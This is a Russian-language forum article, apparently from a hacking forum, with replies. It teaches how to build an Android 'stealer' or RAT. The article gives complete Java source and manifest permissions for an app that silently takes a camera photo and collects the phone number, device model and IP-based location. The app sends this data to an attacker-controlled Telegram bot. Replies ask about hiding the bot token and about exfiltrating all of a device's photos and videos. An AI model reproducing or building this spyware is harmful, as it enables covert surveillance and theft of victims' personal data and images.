• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Получаем данные телефона - простой rat

zebra0_0

RAID-массив
Пользователь
Регистрация
05.10.2024
Сообщения
68
Реакции
45
Автор zebra0_0
Источник https://xss.pro


Привет, решил написать статью про создание простого stealer для android в целях получения фото с камеры + данных о телефоне.

В процессе этой небольшой статьи я расскажу а главное покажу как создать steler который будет получать такие данные как: Модель телефона, Место где телефон находится(Точная странна и предположительный город) и самое главное что мы получаем номер телефона доступ к камере.

Создание:
Для начала важно сказать что всё будет на писано на Java, без использования сервера так как данные будет идти напрямую через тг бот по user id.

Инициализация Telegram-бота

В вашем коде Telegram-бот инициализируется и используется для отправки сообщений.
Всё что вам нужно написать в строке BOT_TOKEN токен вашего бота а в строке CHAT_ID ваш chat id.

Код:
 private static final String BOT_TOKEN = "Токен бота";
    private static final String CHAT_ID = "chat id";

Ваш chat id можно узнать написав вашему боту сообщение а потом перейдя по данной ссылке: https://api.telegram.org/bot<Токен вашего бота>/getUpdates
Там вам нужно найти строку "chat": "id" после которых будет идти ваш chad id.

Разрешения:
1. Чтоб получить доступ к нужным функциям для начало нужно прописать uses-permission в файле AndroidManifest.xml
Разрешения:

XML:
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
    <uses-permission android:name="android.permission.CAMERA" />

2. Далее надо прописать запрос разрешений в java коде, в моём случае это MainActivity.java:

Java:
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED ||
                ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_PHONE_STATE},
                    PERMISSION_REQUEST_CODE);
        } else {
            startBackgroundThread();
            openCamera();
        }

Рабата с камерой:
1. Захват изображения
Для захвата изображения нам надо:
  • Получаем список доступных камер через CameraManager.
  • Открыть первую камеру(Основная) либо вторую если вам нужна фронталка.
  • Настраиваем ImageReader, который будет получать изображения с камеры в формате JPEG.
  • Запускаем фоновый поток для захвата изображения.
Код:
Java:
private void openCamera() {
    CameraManager manager = (CameraManager) getSystemService(CAMERA_SERVICE);
    try {
        String cameraId = manager.getCameraIdList()[0]; // Открываем первую камеру
        Size[] sizes = manager.getCameraCharacteristics(cameraId)
                .get(android.hardware.camera2.CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
                .getOutputSizes(ImageReader.class);
        imageReader = ImageReader.newInstance(sizes[0].getWidth(), sizes[0].getHeight(), android.graphics.ImageFormat.JPEG, 1);
        imageReader.setOnImageAvailableListener(onImageAvailableListener, backgroundHandler);

        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
            manager.openCamera(cameraId, stateCallback, backgroundHandler);
        }
    } catch (CameraAccessException e) {
        e.printStackTrace();
    }
}

Когда изображение будет доступно вызываем метод onImageAvailableListener для его обработки

2. Cохраняем изображение
В далее идущем коде показан метод который сохраняет полученные байты изображения в файл.Далее он создает файл photo.jpg в каталоге кеша приложения и записывает туда данные. После записи возвращает файл для дальнейшего использования.

Код:
Java:
private File saveImageToFile(byte[] bytes) {
    File file = new File(getCacheDir(), "photo.jpg");
    try (FileOutputStream fos = new FileOutputStream(file)) {
        fos.write(bytes);
        return file;
    } catch (IOException e) {
        e.printStackTrace();
    }
    return null;
}

Получение информации о местоположении по IP

Метод делает HTTP-запрос к API https://ipinfo.io/json, чтобы получить информацию о текущем местоположении устройства на основе IP-адреса. Ответ от сервера в формате JSON содержит такие поля, как город (city) и страна (country). Эти значения извлекаются и возвращаются как строка. Если запрос не удается, возвращается сообщение об ошибке.

Код:
Java:
private String getLocationFromIP() {

    OkHttpClient client = new OkHttpClient();

    Request request = new Request.Builder()

            .url("https://ipinfo.io/json")

            .build();



    try {

        Response response = client.newCall(request).execute();

        if (response.isSuccessful()) {

            String json = response.body().string();

            JSONObject jsonObject = new JSONObject(json);



            // Проверяем наличие данных о городе и стране

            String city = jsonObject.optString("city", "Неизвестный город");

            String country = jsonObject.optString("country", "Неизвестная страна");



            return city + ", " + country;

        } else {

            Log.e("LocationError", "Response unsuccessful: " + response.code());

        }

    } catch (IOException | JSONException e) {

        e.printStackTrace();

        Log.e("LocationError", "Error getting location: " + e.getMessage());

    }

    return "Не удалось определить местоположение";

}

Отправка данных в Telegram

Java:
private void sendDeviceInfo(File photoFile) {
    String phoneNumber = getPhoneNumber();
    String manufacturer = android.os.Build.MANUFACTURER;
    String model = android.os.Build.MODEL;
    String version = android.os.Build.VERSION.RELEASE;

    String location = getLocationFromIP();

    String message = "Телефон: " + (phoneNumber != null ? phoneNumber : "Не доступен") + "\n" +
            "Устройство: " + manufacturer + " " + model + "\n" +
            "Версия Android: " + version + "\n" +
            "Местоположение: " + location;

    sendMessageToTelegram(message, photoFile);
}

Этот метод формирует сообщение, которое отправляется в Telegram. Он:

  1. Получает информацию о телефоне (номер телефона, производитель, модель, версия Android).
  2. Получает местоположение устройства (город и страна) с помощью метода getLocationFromIP().
  3. Формирует строку сообщения, которое отправляется в Telegram
Отправка сообщения и фотографии в Telegram

Java:
private void sendMessageToTelegram(String message, File photoFile) {
    OkHttpClient client = new OkHttpClient();

    // Отправка текстового сообщения
    RequestBody formBody = new MultipartBody.Builder()
            .setType(MultipartBody.FORM)
            .addFormDataPart("chat_id", CHAT_ID)
            .addFormDataPart("text", message)
            .build();

    Request request = new Request.Builder()
            .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage")
            .post(formBody)
            .build();

    client.newCall(request).enqueue(new Callback() {
        @Override
        public void onFailure(Call call, IOException e) {
            Log.e("Telegram", "Failed to send message: " + e.getMessage());
        }

        @Override
        public void onResponse(Call call, Response response) throws IOException {
            if (!response.isSuccessful()) {
                Log.e("Telegram", "Failed to send message: " + response.message());
            }
        }
    });

    // Отправка фото
    RequestBody photoBody = new MultipartBody.Builder()
            .setType(MultipartBody.FORM)
            .addFormDataPart("chat_id", CHAT_ID)
            .addFormDataPart("photo", photoFile.getName(),
                    RequestBody.create(photoFile, okhttp3.MediaType.parse("image/jpeg")))
            .build();

    Request photoRequest = new Request.Builder()
            .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
            .post(photoBody)
            .build();

    client.newCall(photoRequest).enqueue(new Callback() {
        @Override
        public void onFailure(Call call, IOException e) {
            Log.e("Telegram", "Failed to send photo: " + e.getMessage());
        }

        @Override
        public void onResponse(Call call, Response response) throws IOException {
            if (!response.isSuccessful()) {
                Log.e("Telegram", "Failed to send photo: " + response.message());
            }
        }
    });
}

Метод отправляет два типа данных в Telegram:

  1. Текстовое сообщение: Оно содержит информацию о телефоне, устройстве, версии Android и местоположении.
  2. Фотографию: Файл с изображением отправляется с использованием того же Telegram Bot API.
Для отправки используются два различных запроса:

  • Один для текстового сообщения (sendMessage).
  • Другой для отправки фотографии (sendPhoto).
Фоновый поток для работы с камерой

Java:
private void startBackgroundThread() {
    backgroundThread = new HandlerThread("CameraBackground");
    backgroundThread.start();
    backgroundHandler = new Handler(backgroundThread.getLooper());
}

private void stopBackgroundThread() {
    if (backgroundThread != null) {
        backgroundThread.quitSafely();
        try {
            backgroundThread.join();
            backgroundThread = null;
            backgroundHandler = null;
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

Эти методы запускают и останавливают фоновый поток для работы с камерой. Фоновый поток необходим для выполнения долгих операций (например, захват изображений), чтобы они не блокировали основной поток приложения. Метод startBackgroundThread() запускает новый поток, а stopBackgroundThread() завершает его безопасно.

Общий принцип работы:

  1. Пользователь запускает приложение, и система проверяет разрешения для доступа к камере и телефону.
  2. После получения разрешений открывается камера и начинается захват изображений.
  3. Когда фотография сделана, она сохраняется в файл, а затем отправляется в Telegram вместе с системной информацией (например, номер телефона, модель устройства) и местоположением (полученным по IP
Код целиком:
Java:
package com.example.myapplication;

import android.Manifest;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.CaptureRequest;
import android.media.Image;
import android.media.ImageReader;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
import android.widget.Toast;

import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Arrays;

import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;

public class MainActivity extends AppCompatActivity {

    private static final int PERMISSION_REQUEST_CODE = 1;
    private static final String BOT_TOKEN = "Токен бота";
    private static final String CHAT_ID = "Chat id";

    private CameraDevice cameraDevice;
    private ImageReader imageReader;
    private Handler backgroundHandler;
    private HandlerThread backgroundThread;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        checkAndRequestPermissions();
    }

    private void checkAndRequestPermissions() {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED ||
                ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_PHONE_STATE},
                    PERMISSION_REQUEST_CODE);
        } else {
            startBackgroundThread();
            openCamera();
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == PERMISSION_REQUEST_CODE) {
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                startBackgroundThread();
                openCamera();
            } else {
                Toast.makeText(this, "Разрешения не предоставлены", Toast.LENGTH_SHORT).show();
            }
        }
    }

    private void openCamera() {
        CameraManager manager = (CameraManager) getSystemService(CAMERA_SERVICE);
        try {
            String cameraId = manager.getCameraIdList()[0]; // Открываем первую камеру
            Size[] sizes = manager.getCameraCharacteristics(cameraId)
                    .get(android.hardware.camera2.CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
                    .getOutputSizes(ImageReader.class);
            imageReader = ImageReader.newInstance(sizes[0].getWidth(), sizes[0].getHeight(), android.graphics.ImageFormat.JPEG, 1);
            imageReader.setOnImageAvailableListener(onImageAvailableListener, backgroundHandler);

            if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
                manager.openCamera(cameraId, stateCallback, backgroundHandler);
            }
        } catch (CameraAccessException e) {
            e.printStackTrace();
        }
    }

    private final CameraDevice.StateCallback stateCallback = new CameraDevice.StateCallback() {
        @Override
        public void onOpened(@NonNull CameraDevice camera) {
            cameraDevice = camera;
            createCameraCaptureSession();
        }

        @Override
        public void onDisconnected(@NonNull CameraDevice camera) {
            camera.close();
            cameraDevice = null;
        }

        @Override
        public void onError(@NonNull CameraDevice camera, int error) {
            camera.close();
            cameraDevice = null;
        }
    };

    private void createCameraCaptureSession() {
        try {
            Surface surface = imageReader.getSurface();
            CaptureRequest.Builder captureRequestBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
            captureRequestBuilder.addTarget(surface);
            captureRequestBuilder.set(CaptureRequest.CONTROL_MODE, CameraMetadata.CONTROL_MODE_AUTO);

            cameraDevice.createCaptureSession(Arrays.asList(surface), new CameraCaptureSession.StateCallback() {
                @Override
                public void onConfigured(@NonNull CameraCaptureSession session) {
                    try {
                        session.capture(captureRequestBuilder.build(), null, backgroundHandler);
                    } catch (CameraAccessException e) {
                        e.printStackTrace();
                    }
                }

                @Override
                public void onConfigureFailed(@NonNull CameraCaptureSession session) {
                    Log.e("CameraCaptureSession", "Configuration failed");
                }
            }, backgroundHandler);
        } catch (CameraAccessException e) {
            e.printStackTrace();
        }
    }

    private final ImageReader.OnImageAvailableListener onImageAvailableListener = new ImageReader.OnImageAvailableListener() {
        @Override
        public void onImageAvailable(ImageReader reader) {
            Image image = reader.acquireLatestImage();
            if (image != null) {
                ByteBuffer buffer = image.getPlanes()[0].getBuffer();
                byte[] bytes = new byte[buffer.remaining()];
                buffer.get(bytes);
                image.close();

                File photoFile = saveImageToFile(bytes);
                if (photoFile != null) {
                    sendDeviceInfo(photoFile);
                }
            }
        }
    };

    private File saveImageToFile(byte[] bytes) {
        File file = new File(getCacheDir(), "photo.jpg");
        try (FileOutputStream fos = new FileOutputStream(file)) {
            fos.write(bytes);
            return file;
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }

    private void sendDeviceInfo(File photoFile) {
        String phoneNumber = getPhoneNumber();
        String manufacturer = android.os.Build.MANUFACTURER;
        String model = android.os.Build.MODEL;
        String version = android.os.Build.VERSION.RELEASE;

        String location = getLocationFromIP();

        String message = "Телефон: " + (phoneNumber != null ? phoneNumber : "Не доступен") + "\n" +
                "Устройство: " + manufacturer + " " + model + "\n" +
                "Версия Android: " + version + "\n" +
                "Страна и предполагаемый город: " + location;

        sendMessageToTelegram(message, photoFile);
    }

    private String getPhoneNumber() {
        TelephonyManager telephonyManager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED) {
            return telephonyManager.getLine1Number();
        }
        return null;
    }

    private String getLocationFromIP() {
        OkHttpClient client = new OkHttpClient();
        // Используем HTTPS для безопасного запроса
        Request request = new Request.Builder()
                .url("https://ipinfo.io/json")
                .build();

        try {
            Response response = client.newCall(request).execute();
            if (response.isSuccessful()) {
                String json = response.body().string();
                JSONObject jsonObject = new JSONObject(json);

                // Проверяем наличие данных о городе и стране
                String city = jsonObject.optString("city", "Неизвестный город");
                String country = jsonObject.optString("country", "Неизвестная страна");

                Log.d("LocationInfo", "City: " + city + ", Country: " + country);

                return city + ", " + country;
            } else {
                Log.e("LocationError", "Response unsuccessful: " + response.code());
            }
        } catch (IOException e) {
            e.printStackTrace();
            Log.e("LocationError", "IOException: " + e.getMessage());
        } catch (JSONException e) {
            e.printStackTrace();
            Log.e("LocationError", "JSONException: " + e.getMessage());
        }
        return "Не удалось определить местоположение";
    }

    private void sendMessageToTelegram(String message, File photoFile) {
        OkHttpClient client = new OkHttpClient();

        // Отправка текстового сообщения
        RequestBody formBody = new MultipartBody.Builder()
                .setType(MultipartBody.FORM)
                .addFormDataPart("chat_id", CHAT_ID)
                .addFormDataPart("text", message)
                .build();

        Request request = new Request.Builder()
                .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage")
                .post(formBody)
                .build();

        client.newCall(request).enqueue(new Callback() {
            @Override
            public void onFailure(Call call, IOException e) {
                Log.e("Telegram", "Failed to send message: " + e.getMessage());
            }

            @Override
            public void onResponse(Call call, Response response) throws IOException {
                if (!response.isSuccessful()) {
                    Log.e("Telegram", "Failed to send message: " + response.message());
                }
            }
        });

        // Отправка фото
        RequestBody photoBody = new MultipartBody.Builder()
                .setType(MultipartBody.FORM)
                .addFormDataPart("chat_id", CHAT_ID)
                .addFormDataPart("photo", photoFile.getName(),
                        RequestBody.create(photoFile, okhttp3.MediaType.parse("image/jpeg")))
                .build();

        Request photoRequest = new Request.Builder()
                .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
                .post(photoBody)
                .build();

        client.newCall(photoRequest).enqueue(new Callback() {
            @Override
            public void onFailure(Call call, IOException e) {
                Log.e("Telegram", "Failed to send photo: " + e.getMessage());
            }

            @Override
            public void onResponse(Call call, Response response) throws IOException {
                if (!response.isSuccessful()) {
                    Log.e("Telegram", "Failed to send photo: " + response.message());
                }
            }
        });
    }

    private void startBackgroundThread() {
        backgroundThread = new HandlerThread("CameraBackground");
        backgroundThread.start();
        backgroundHandler = new Handler(backgroundThread.getLooper());
    }

    @Override
    protected void onPause() {
        super.onPause();
        closeCamera();
        stopBackgroundThread();
    }

    private void closeCamera() {
        if (cameraDevice != null) {
            cameraDevice.close();
            cameraDevice = null;
        }
    }

    private void stopBackgroundThread() {
        if (backgroundThread != null) {
            backgroundThread.quitSafely();
            try {
                backgroundThread.join();
                backgroundThread = null;
                backgroundHandler = null;
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    }
}


После выполнения кода вам придёт лог следующего вида:
photo_2024-10-13_01-17-22.jpg

Спасибо за внимание! Надеюсь статья была полезной.
С радостью отвечу на любые вопросы или предложения в комментариях.
 
Последнее редактирование модератором:
>Получение информации о местоположении по IP
>Метод делает HTTP-запрос к API https://ipinfo.io/json, чтобы получить информацию о текущем местоположении устройства на основе >IP-адреса

Тыркнул https://ipinfo.io/json , открылась новая вкладка с координатами.
При подставлении координат в гугол карты, отклонение от факта составило 767 метров
Критично ли это ?
 
Вам код файлом кинуть? Если нет то объясните пожалуйста что вы имели в виду
в действительности ,если есть возможность, не мог бы ты скинуть сурсом готовый вариант и сам билд чтобы его прочекать,мы ленивые жопки и хотим чтобы все нам в рот на ложечке приподносили :(
 
>Получение информации о местоположении по IP
>Метод делает HTTP-запрос к API https://ipinfo.io/json, чтобы получить информацию о текущем местоположении устройства на основе >IP-адреса

Тыркнул https://ipinfo.io/json , открылась новая вкладка с координатами.
При подставлении координат в гугол карты, отклонение от факта составило 767 метров
Критично ли это ?
Ты должен понимать что просто знаю IP ты не вычислишь, можно точно узнать страну и если человек живёт в более менее большом городе то и его. Но дом никак, максимум покажет где сервера примерно
 
в действительности ,если есть возможность, не мог бы ты скинуть сурсом готовый вариант и сам билд чтобы его прочекать,мы ленивые жопки и хотим чтобы все нам в рот на ложечке приподносили :(
Выложу ориентировочно завтра
 
Спасибо за полезную информацию! Однако, поскольку BOT_TOKEN и CHAT_ID жестко заданы в коде приложения, их можно довольно легко получить с помощью обратного инжиниринга. Есть ли хороший способ защитить и зашифровать приложение?
 
is there anyway to get all the photos and videos which are stored in device in a zip format and send that to tg part wise? making sure that we get all the images and videos without loosing the connection
write me a PM
 
Спасибо за полезную информацию! Однако, поскольку BOT_TOKEN и CHAT_ID жестко заданы в коде приложения, их можно довольно легко получить с помощью обратного инжиниринга. Есть ли хороший способ защитить и зашифровать приложение?
Да можно, методов много. Я не стал описывать их в коде так как это просто учебный материал. Если интересно могу написать про это отдельную статью
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх